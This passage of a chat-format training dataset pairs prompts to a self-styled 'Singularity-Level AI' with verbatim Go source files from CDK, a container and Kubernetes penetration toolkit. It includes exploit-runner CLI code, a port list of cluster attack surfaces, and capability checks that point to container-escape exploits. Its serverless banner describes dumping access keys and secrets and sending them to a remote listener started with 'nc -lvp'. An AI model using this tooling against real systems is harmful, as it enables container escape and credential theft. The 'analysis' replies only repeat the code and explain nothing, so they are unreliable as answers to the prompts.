\" Exposure: $(displayExposure $RANK)\"\n [ -n \"$tags\" ] && echo -e \" Tags: $tags\"\n echo -e \" Download URL: $src_url\"\n [ -n \"$ext_url\" ] && echo -e \" ext-url: $ext_url\"\n [ -n \"$comments\" ] && echo -e \" Comments: $comments\"\n\n # handles --full filter option\n if [ \"$opt_full\" = \"true\" ]; then\n [ -n \"$reqs\" ] && echo -e \" Requirements: $reqs\"\n\n [ -n \"$EXPLOIT_DB\" ] && echo -e \" exploit-db: $EXPLOIT_DB\"\n\n author=$(echo \"$EXP\" | grep \"author: \" | cut -d' ' -f 2-)\n [ -n \"$author\" ] && echo -e \" author: $author\"\n fi\n\n echo\n\ndone\n`\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: conf/message.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage conf\n\n// ThinIgnoreTool Prompt the users that this tool is not included in the thin version.\nvar ThinIgnoreTool = \"You are using the thin version. In order to be more lightweight, this tool is not included in the thin version.\"\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: conf/scanner_conf.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage conf\n\nimport \"time\"\n\n// TCP port scanner\ntype TCPScannerConfS struct {\n\tTimeout time.Duration\n\tMaxParallel int64\n\tPortList map[string]string\n}\n\nvar TCPScannerConf = TCPScannerConfS{\n\tTimeout: 500 * time.Millisecond,\n\tMaxParallel: 50,\n\tPortList: map[string]string{\n\t\t\"ssh\": \"22\",\n\t\t\"http\": \"80\",\n\t\t\"https\": \"443\",\n\t\t\"docker-api\": \"2375\",\n\t\t\"etcd\": \"2379\",\n\t\t\"cAdvisor\": \"4194\",\n\t\t\"k8s-api-server\": \"6443\",\n\t\t\"kubectl-proxy\": \"8001\",\n\t\t\"http-1\": \"8080\",\n\t\t\"https-1\": \"8443\",\n\t\t\"kubelet-auth\": \"10250\",\n\t\t\"kubelet-read\": \"10255\",\n\t\t\"dashboard\": \"30000\",\n\t\t\"nodeport-service\": \"30001-32767\", //default NodePort service port range\uff1a30000-32767\u3002\n\t\t\"tiller,weave,calico\": \"44134\",\n\t},\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/cli/banner.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\t\"github.com/docopt/docopt-go\"\n)\n\nvar Args docopt.Opts\nvar GitCommit string\n\nvar BannerTitle = `CDK (Container DucK)`\nvar BannerVersion = fmt.Sprintf(\"%s %s\", \"CDK Version(GitCommit):\", GitCommit)\n\nvar BannerHeader = fmt.Sprintf(`%s\n%s\nZero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle\nFind tutorial, configuration and use-case in https://github.com/cdk-team/CDK/\n`, util.GreenBold.Sprint(BannerTitle), BannerVersion)\n\nvar BannerContainerTpl = BannerHeader + `\n%s\n cdk eva\n cdk eva --full\n cdk evaluate [--full]\n cdk run (--list | [...])\n cdk [...]\n\n%s\n cdk evaluate Gather information to find weakness inside container.\n cdk eva Alias of \"cdk evaluate\".\n cdk evaluate --full Enable file scan during information gathering.\n\n\n%s\n cdk run --list List all available exploits.\n cdk run [...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki\n\n%s\n vi Edit files in container like \"vi\" command.\n ps Show process information like \"ps -ef\" command.\n netstat Like \"netstat -antup\" command.\n nc [options] Create TCP tunnel.\n ifconfig Show network information.\n kcurl (get|post) [] Make request to K8s api-server.\n ectl get Unauthorized enumeration of ectd keys.\n ucurl (get|post) Make request to docker unix socket.\n probe TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000\n\n%s\n -h --help Show this help msg.\n -v --version Show version.\n --profile= Select evaluation profile (basic, extended, additional).\n`\n\n// BannerContainer is the banner of CDK command line with colorful.\nvar BannerContainer = fmt.Sprintf(\n\tBannerContainerTpl,\n\t\"Usage:\",\n\tutil.GreenBold.Sprint(\"Evaluate:\"),\n\tutil.GreenBold.Sprint(\"Exploit:\"),\n\tutil.GreenBold.Sprint(\"Tool:\"),\n\t\"Options:\",\n)\n\nvar BannerServerless = BannerHeader + `\nTHIS IS THE SLIM VERSION FOR DUMPING SECRET/AK IN SERVERLESS FUNCTIONS.\n\nsessions in serverless functions will be killed in seconds, use this tool to dump AK/secrets in the fast way.\n\nUsage:\ncdk-serverless \n\nArgs:\nscan-dir Read all files under target dir and dump AK token.\nremote-ip,port Send results to target IP:PORT via TCP tunnel.\n\nExample:\n1. public server(e.g. 1.2.3.4) start listen tcp port 999 using \"nc -lvp 999\"\n2. inside serverless function service execute \"./cdk-serverless /code 1.2.3.4 999\"\n`\n\nfunc parseDocopt() {\n\targs, err := docopt.ParseArgs(BannerContainer, os.Args[1:], BannerVersion)\n\tif err != nil {\n\t\tlog.Fatalln(\"docopt err: \", err)\n\t}\n\tArgs = args\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/cli/parse.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"fmt\"\n\t\"github.com/cdk-team/CDK/pkg/tool/netstat\"\n\n\t\"github.com/cdk-team/CDK/pkg/evaluate\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/dockerd_api\"\n\t\"github.com/cdk-team/CDK/pkg/tool/etcdctl\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\n\t\"log\"\n\t\"os\"\n\t\"strconv\"\n\n\t\"github.com/cdk-team/CDK/pkg/tool/netcat\"\n\t\"github.com/cdk-team/CDK/pkg/tool/network\"\n\t\"github.com/cdk-team/CDK/pkg/tool/probe\"\n\t\"github.com/cdk-team/CDK/pkg/tool/ps\"\n\t\"github.com/cdk-team/CDK/pkg/tool/vi\"\n\t\"github.com/docopt/docopt-go\"\n)\n\nfunc PassInnerArgs() {\n\tos.Args = os.Args[1:]\n}\n\nfunc ParseCDKMain() bool {\n\n\tif len(os.Args) == 1 {\n\t\tdocopt.PrintHelpAndExit(nil, BannerContainer)\n\t}\n\n\t// nc needs -v and -h , parse it outside\n\tif os.Args[1] == \"nc\" {\n\t\t// https://github.com/jiguangin/netcat\n\t\tPassInnerArgs()\n\t\tnetcat.RunVendorNetcat()\n\t\treturn true\n\t}\n\n\t// docopt argparse start\n\tparseDocopt()\n\n\t// delete auto-escape\n\n\t// if Args[\"auto-escape\"].(bool) {\n\t// \tplugin.RunSingleTask(\"auto-escape\")\n\t// \treturn true\n\t// }\n\n\t// support for cdk eva(Evangelion) and cdk evaluate\n\tfok := Args[\"evaluate\"]\n\tok := Args[\"eva\"]\n\n\t// docopt let fok = true, so we need to check it\n\t// fix #37 https://github.com/cdk-team/CDK/issues/37\n\tif ok.(bool) || fok.(bool) {\n\n\t\tfmt.Printf(BannerHeader)\n\t\tprofileID := evaluate.ProfileBasic\n\t\tif rawProfile, ok := Args[\"--profile\"]; ok {\n\t\t\tif v, ok := rawProfile.(string); ok && v != \"\" {\n\t\t\t\tprofileID = v\n\t\t\t}\n\t\t}\n\t\tif profileID == evaluate.ProfileBasic && Args[\"--full\"].(bool) {\n\t\t\tprofileID = evaluate.ProfileExtended\n\t\t}\n\t\tif err := evaluate.NewEvaluator().RunProfile(profileID, nil); err != nil {\n\t\t\tlog.Printf(\"evaluate profile %q failed: %v\", profileID, err)\n\t\t}\n\t\treturn true\n\t}\n\n\tif Args[\"run\"].(bool) {\n\t\tif Args[\"--list\"].(bool) {\n\t\t\tplugin.ListAllExploit()\n\t\t\tos.Exit(0)\n\t\t}\n\t\tname := Args[\"\"].(string)\n\t\tif plugin.Exploits[name] == nil {\n\t\t\tfmt.Printf(\"\\nInvalid script name: %s , available scripts:\\n\", name)\n\t\t\tplugin.ListAllExploit()\n\t\t\treturn true\n\t\t}\n\t\tplugin.RunSingleExploit(name)\n\t\treturn true\n\t}\n\n\tif Args[\"\"] != nil {\n\t\targs := Args[\"\"].([]string)\n\n\t\tswitch Args[\"\"] {\n\t\tcase \"vi\":\n\t\t\tPassInnerArgs()\n\t\t\tvi.RunVendorVi()\n\t\tcase \"kcurl\":\n\t\t\tkubectl.KubectlToolApi(args)\n\t\tcase \"ectl\":\n\t\t\tetcdctl.EtcdctlToolApi(args)\n\t\tcase \"ucurl\":\n\t\t\tdockerd_api.UcurlToolApi(args)\n\t\tcase \"dcurl\":\n\t\t\tdockerd_api.DcurlToolApi(args)\n\t\tcase \"ifconfig\":\n\t\t\tnetwork.GetLocalAddresses()\n\t\tcase \"ps\":\n\t\t\tps.RunPs()\n\t\tcase \"netstat\":\n\t\t\tnetstat.RunNetstat()\n\t\tcase \"probe\":\n\t\t\tif len(args) != 4 {\n\t\t\t\tlog.Println(\"Invalid input args.\")\n\t\t\t\tlog.Println(\"usage: cdk probe \")\n\t\t\t\tlog.Fatal(\"example: cdk probe 192.168.1.0-255 22,80,100-110 50 1000\")\n\t\t\t}\n\t\t\tparallel, err := strconv.ParseInt(args[2], 10, 64)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"err found when parse input arg \")\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t\ttimeout, err := strconv.Atoi(args[3])\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"err found when parse input arg \")\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t\tprobe.TCPScanToolAPI(args[0], args[1], parallel, timeout)\n\t\tdefault:\n\t\t\tdocopt.PrintHelpAndExit(nil, BannerContainer)\n\t\t}\n\t}\n\n\treturn false\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/cli/parse_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli_test\n\nimport (\n\t\"bytes\"\n\t// \"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t_ \"github.com/cdk-team/CDK/pkg/exploit\" // register all exploits\n)\n\ntype testArgsCase struct {\n\tname string\n\targs []string\n\tsuccessStr string\n}\n\nconst parseTimeout = 5 * time.Second\n\nfunc doParseCDKMainWithTimeout() {\n\n\tresult := make(chan bool, 1)\n\n\tgo func() {\n\t\tresult <- cli.ParseCDKMain()\n\t}()\n\n\tselect {\n\tcase <-time.After(parseTimeout):\n\t\tlog.Printf(\"check run ok, timeout reached in %s, and return.\", parseTimeout)\n\t\treturn\n\tcase <-result:\n\t\treturn\n\t}\n\n}\n\nfunc TestParseCDKMain(t *testing.T) {\n\n\t// ./cdk eva 2>&1 | head\n\t// ./cdk run test-poc | head\n\t// ./cdk ifconfig | head\n\n\ttests := []testArgsCase{\n\t\t{\n\t\t\tname: \"./cdk eva\",\n\t\t\targs: []string{\"./cdk_cli_path\", \"eva\"},\n\t\t\tsuccessStr: \"current user\",\n\t\t},\n\t\t// {\n\t\t// \tname: \"./cdk eva --profile=additional\",\n\t\t// \targs: []string{\"./cdk_cli_path\", \"eva\", \"--profile=additional\"},\n\t\t// \tsuccessStr: \"randomize_va_space\",\n\t\t// },\n\t\t{\n\t\t\tname: \"./cdk run test-poc\",\n\t\t\targs: []string{\"./cdk_cli_path\", \"run\", \"test-poc\"},\n\t\t\tsuccessStr: \"run success\",\n\t\t},\n\t\t{\n\t\t\tname: \"./cdk ifconfig\",\n\t\t\targs: []string{\"./cdk_cli_path\", \"ifconfig\"},\n\t\t\tsuccessStr: \"GetLocalAddresses\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\n\t\t// fmt.Print and log.Print to buffer, and check output\n\t\tvar buf bytes.Buffer\n\t\tlog.SetOutput(&buf)\n\n\t\t// hook fmt.X to buffer, hook os.Stdout\n\t\t// oldStdout := os.Stdout\n\t\t// r, w, _ := os.Pipe()\n\t\t// os.Stdout = w\n\n\t\t// hook os.Args\n\t\targs := tt.args\n\t\tos.Args = args\n\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tdoParseCDKMainWithTimeout()\n\t\t\t// out, _ := ioutil.ReadAll(r)\n\n\t\t\t// check success string in buf and out\n\t\t\t// if !bytes.Contains(buf.Bytes(), []byte(tt.successStr)) && !bytes.Contains(out, []byte(tt.successStr)) {\n\t\t\t// \tt.Errorf((\"parse cdk main failed, name: %s, args: %v, buf: %s, out: %s\"), tt.name, tt.args, buf.String()[:1000], string(out)[:1000])\n\t\t\t// }\n\n\t\t\tif !bytes.Contains(buf.Bytes(), []byte(tt.successStr)) {\n\n\t\t\t\t// get sub string from buf, lenght is 1000\n\t\t\t\tstr := buf.String()\n\t\t\t\tif len(str) > 1000 {\n\t\t\t\t\tstr = str[:1000]\n\t\t\t\t}\n\n\t\t\t\tt.Errorf((\"parse cdk main failed, name: %s, args: %v, buf: %s\"), tt.name, tt.args, str)\n\t\t\t}\n\n\t\t})\n\n\t\t// return to os.Stdout default\n\t\t// os.Stdout = oldStdout\n\t\t// w.Close()\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/errors/errors.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"fmt\"\n)\n\ntype CDKRuntimeError struct {\n\tErr error\n\tCustomMsg string\n}\n\nfunc New(text string) error {\n\treturn &CDKRuntimeError{nil, text}\n}\n\nfunc (e *CDKRuntimeError) Error() string {\n\tif e.Err != nil {\n\t\treturn fmt.Sprintf(\"%s:\\n%s\", e.CustomMsg, e.Err)\n\t} else {\n\t\treturn e.CustomMsg\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/available_linux_capabilities.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\t\"github.com/cdk-team/CDK/pkg/util/capability\"\n)\n\nfunc GetProcCapabilities() bool {\n\tdata, err := ioutil.ReadFile(\"/proc/self/status\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\n\tscanner := bufio.NewScanner(strings.NewReader(string(data)))\n\tlog.Println(\"Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):\")\n\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tif strings.HasPrefix(line, \"Cap\") {\n\t\t\tfmt.Printf(\"\\t%s\\n\", line)\n\t\t}\n\t}\n\n\tpattern := regexp.MustCompile(`(?i)capeff:\\s*?[a-z0-9]+\\s`)\n\tparams := pattern.FindStringSubmatch(string(data))\n\n\tfor _, matched := range params {\n\n\t\t// make capabilities readable\n\t\tlst := strings.Split(matched, \":\")\n\t\tif len(lst) == 2 {\n\n\t\t\tcapStr := strings.TrimSpace(lst[1])\n\t\t\tcaps, err := capability.CapHexParser(capStr)\n\n\t\t\tfmt.Printf(\"\\tCap decode: 0x%s = %s\\n\", capStr, capability.CapListToString(caps))\n\n\t\t\taddCaps := getAddCaps(caps)\n\t\t\tif len(addCaps) > 0 {\n\t\t\t\tutil.RedBold.Printf(\"\\tAdded capability list: %s\\n\", capability.CapListToString(addCaps))\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"[-] capability.CapHexParser: %v\\n\", err)\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tfmt.Printf(\"[*] Maybe you can exploit the Capabilities below:\\n\")\n\t\t\tfor _, c := range caps {\n\t\t\t\tswitch c {\n\t\t\t\tcase \"CAP_DAC_READ_SEARCH\":\n\t\t\t\t\tfmt.Println(\"[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.\")\n\t\t\t\tcase \"CAP_SYS_MODULE\":\n\t\t\t\t\tfmt.Println(\"[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.\")\n\t\t\t\tcase \"CAP_SYS_ADMIN\":\n\t\t\t\t\tfmt.Println(\"Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif strings.Contains(matched, \"3fffffffff\") {\n\t\t\tfmt.Println(\"Critical - Possible Privileged Container Found.\")\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc getAddCaps(currentCaps []string) []string {\n\tvar addCaps []string\n\tfor _, c := range currentCaps {\n\t\tif !util.StringContains(capability.DockerDefaultCaps, c) {\n\t\t\taddCaps = append(addCaps, c)\n\t\t}\n\t}\n\treturn addCaps\n}\n\nfunc init() {\n\tRegisterSimpleCheck(\n\t\tCategoryCommands,\n\t\t\"commands.capabilities\",\n\t\t\"Inspect process capabilities\",\n\t\tfunc() {\n\t\t\tGetProcCapabilities()\n\t\t},\n\t)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/available_linux_commands.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"log\"\n\t\"os/exec\"\n\t\"strings\"\n)\n\nfunc SearchAvailableCommands() {\n\tans := []string{}\n\tfor _, cmd := range conf.LinuxCommandChecklist {\n\t\t_, err := exec.LookPath(cmd)\n\t\tif err == nil {\n\t\t\tans = append(ans, cmd)\n\t\t}\n\t}\n\tlog.Printf(\"available commands:\\n\\t%s\\n\", strings.Join(ans, \",\"))\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryCommands, \"commands.available\", \"Enumerate available commands\", SearchAvailableCommands)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/categories.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage evaluate\n\nvar (\n\tCategorySystemInfo = CategorySpec{\n\t\tID: \"information.system\",\n\t\tTitle: \"Information Gathering - System Info\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 100,\n\t}\n\tCategoryServices = CategorySpec{\n\t\tID: \"information.services\",\n\t\tTitle: \"Information Gathering - Services\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 200,\n\t}\n\tCategoryCommands = CategorySpec{\n\t\tID: \"information.commands\",\n\t\tTitle: \"Information Gathering - Commands and Capabilities\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 300,\n\t}\n\tCategoryMounts = CategorySpec{\n\t\tID: \"information.mounts\",\n\t\tTitle: \"Information Gathering - Mounts\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 400,\n\t}\n\tCategoryNetNamespace = CategorySpec{\n\t\tID: \"information.netns\",\n\t\tTitle: \"Information Gathering - Net Namespace\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 500,\n\t}\n\tCategorySysctl = CategorySpec{\n\t\tID: \"information.sysctl\",\n\t\tTitle: \"Information Gathering - Sysctl Variables\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 600,\n\t}\n\tCategoryDNS = CategorySpec{\n\t\tID: \"information.dns\",\n\t\tTitle: \"Information Gathering - DNS-Based Service Discovery\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 700,\n\t}\n\tCategoryK8sAPIServer = CategorySpec{\n\t\tID: \"discovery.k8s_api\",\n\t\tTitle: \"Discovery - K8s API Server\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 800,\n\t}\n\tCategoryK8sServiceAccount = CategorySpec{\n\t\tID: \"discovery.k8s_sa\",\n\t\tTitle: \"Discovery - K8s Service Account\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 900,\n\t}\n\tCategoryCloudMetadata = CategorySpec{\n\t\tID: \"discovery.cloud_metadata\",\n\t\tTitle: \"Discovery - Cloud Provider Metadata API\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 1000,\n\t}\n\tCategoryKernel = CategorySpec{\n\t\tID: \"exploit.kernel\",\n\t\tTitle: \"Exploit Pre - Kernel Exploits\",\n\t\tDefaultProfiles: []string{ProfileBasic, ProfileExtended},\n\t\tOrder: 1100,\n\t}\n\tCategorySensitiveFiles = CategorySpec{\n\t\tID: \"information.sensitive_files\",\n\t\tTitle: \"Information Gathering - Sensitive Files\",\n\t\tDefaultProfiles: []string{ProfileExtended, ProfileAdditional},\n\t\tOrder: 1200,\n\t}\n\tCategoryASLR = CategorySpec{\n\t\tID: \"information.aslr\",\n\t\tTitle: \"Information Gathering - ASLR\",\n\t\tDefaultProfiles: []string{ProfileExtended, ProfileAdditional},\n\t\tOrder: 1300,\n\t}\n\tCategoryCgroups = CategorySpec{\n\t\tID: \"information.cgroups\",\n\t\tTitle: \"Information Gathering - Cgroups\",\n\t\tDefaultProfiles: []string{ProfileExtended, ProfileAdditional},\n\t\tOrder: 1400,\n\t}\n)\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/cgroups.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\nfunc DumpCgroup() {\n\n\tcgroupLst, err := util.GetCgroup(1)\n\tsLst := make([]string, 0, len(cgroupLst))\n\n\tif err != nil {\n\t\tlog.Printf(\"/proc/1/cgroup error: %v\\n\", err)\n\t\treturn\n\t}\n\n\tlog.Println(\"/proc/1/cgroup file content:\")\n\tfor _, v := range cgroupLst {\n\t\tfmt.Printf(\"\\t%s\\n\", v.OriginalInfo)\n\t\tsLst = append(sLst, v.OriginalInfo)\n\t}\n\n\tcgroupLstSelf, err := util.GetCgroup(0)\n\tif err != nil {\n\t\tlog.Printf(\"/proc/self/cgroup error: %v\\n\", err)\n\t\treturn\n\t}\n\n\tlog.Println(\"/proc/self/cgroup file added content (compare pid 1) :\")\n\tfor _, v := range cgroupLstSelf {\n\t\tif !util.StringContains(sLst, v.OriginalInfo) {\n\t\t\tfmt.Printf(\"\\t%s\\n\", v.OriginalInfo)\n\t\t}\n\t}\n\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryCgroups, \"cgroups.dump\", \"Dump cgroup configuration\", DumpCgroup)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/check_mount_escape.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// The checkClose function calls close on a Closer and panics with a\n// runtime error if the Closer returns an error\nfunc checkClose(c io.Closer) {\n\tif err := c.Close(); err != nil {\n\t\tpanic(&errors.CDKRuntimeError{Err: 